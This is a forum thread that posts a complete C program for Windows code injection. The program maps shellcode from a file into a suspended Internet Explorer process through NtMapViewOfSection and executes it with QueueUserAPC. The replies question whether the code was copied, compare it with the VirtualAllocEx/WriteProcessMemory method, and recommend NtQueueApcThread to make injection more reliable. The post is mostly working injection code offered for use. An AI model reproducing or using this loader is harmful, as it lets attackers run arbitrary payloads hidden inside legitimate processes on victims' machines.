Code Injection - QueueUserAPC
Code:
#define _WIN32_WINNT 0x0400
#include <windows.h>
//Press Thanks to USDL :)
//Press Thanks to USDL :)
//Press Thanks to USDL :)
typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE,
HANDLE,
LPVOID,
ULONG,
SIZE_T,
LARGE_INTEGER*,
SIZE_T*,
_INHERIT,
ULONG,
ULONG );
func_NtMapViewOfSection NtMapViewOfSection = NULL;
LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess,
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap,
LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;
// Convert the offset
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;
// Save the size and base
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;
// Convert flags to NT Protection Attributes
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}
// Map the section
Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
Protect);
if (!NT_SUCCESS(Status))
{
// We failed
return NULL;
}
// Return the base
return ViewBase;
}
int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );
NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");
// Getting a shellcode, use whatever you want
HANDLE hFile = CreateFile ("C:\\shellcode.txt",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);
// Starting target process
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);
PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));
CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&st,
&pi);
// Injecting the shellcode into target process address space
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess,
hMappedFile,
FILE_MAP_READ,
0,
0,
0,
NULL);
// Create a new APC which will be executed at first when the thread resume
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}
PRESS THANKS :)
Copy and paste? Also use the ntdll.dll version
Did you copy and paste this or from some other blog from 2007?
[Only registered and activated users can see links. Click Here To Register...]
It's the same exact code.
It's interesting to map a shared memory and do it this way. The more traditional way is to use VirtualAllocEx() to allocate memory in the remote process, then WriteProcessMemory() to write to it.
You usually only need to write mostly, the advantage I see in using shared is you could read from it directly, plus if you needed to repeated access it's faster then doing the xxxxxProcessMemory() functions.
Also it would be better to use the the internal ntdll.dll layer version "NtQueueApcThread()" instead as QueueUserAPC() has some relevant process context stuff that might either cause it to fail or crash your target.